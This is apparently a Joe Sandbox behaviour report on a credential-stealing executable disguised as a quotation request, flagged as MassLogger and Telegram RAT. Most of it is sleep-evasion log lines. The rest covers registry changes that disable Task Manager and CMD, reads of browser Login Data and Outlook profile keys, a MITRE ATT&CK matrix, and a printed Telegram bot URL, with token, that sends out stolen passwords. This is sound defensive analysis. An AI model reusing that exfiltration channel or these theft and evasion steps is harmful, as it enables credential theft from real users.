Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595827	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595607	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595170	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594624	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Window / User API: threadDelayed 8659			Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Window / User API: threadDelayed 1199			Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

API coverage: 3.0 %

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4704	Thread sleep count: 8659 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4704	Thread sleep count: 1199 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -598030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596152s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595607s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595170s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe TID: 4752	Thread sleep time: -594624s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 0_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405772
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 0_2_0040622D FindFirstFileW,FindClose,	0_2_0040622D
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00402770 FindFirstFileW,	5_2_00402770
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405772
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_0040622D FindFirstFileW,FindClose,	5_2_0040622D

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596152	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595827	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595607	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595170	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 594624	Jump to behavior

Source: Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C83000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C18000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	API call chain: ExitProcess graph end node			graph_0-4796
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	API call chain: ExitProcess graph end node			graph_0-4800

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Process created: C:\Users\user\Desktop\Request for Quotation New collaboration.exe "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Queries volume information: C:\Users\user\Desktop\Request for Quotation New collaboration.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Code function: 0_2_00405F0C GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0C

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Request for Quotation New collaboration.exe PID: 2556, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Request for Quotation New collaboration.exe PID: 2556, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Request for Quotation New collaboration.exe PID: 2556, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Request for Quotation New collaboration.exe PID: 2556, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Request for Quotation New collaboration.exe PID: 2556, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Request for Quotation New collaboration.exe	53%	ReversingLabs
Request for Quotation New collaboration.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.181.33	true	false	high
reallyfreegeoip.org	172.67.177.134	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.228	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C18000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004CE2000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035258000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/0	Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C18000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	Request for Quotation New collaboration.exe, 00000005.00000003.2175621222.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004C83000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003521F000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	Request for Quotation New collaboration.exe, 00000005.00000003.2120761276.0000000004C97000.00000004.00000020.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000003.2120825216.0000000004C97000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	Request for Quotation New collaboration.exe	false	high
http://api.telegram.org	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035547000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.000000003542D000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000353D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/e	Request for Quotation New collaboration.exe, 00000005.00000002.2814067949.0000000004CE2000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000351C1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.0000000035240000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.181.33	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
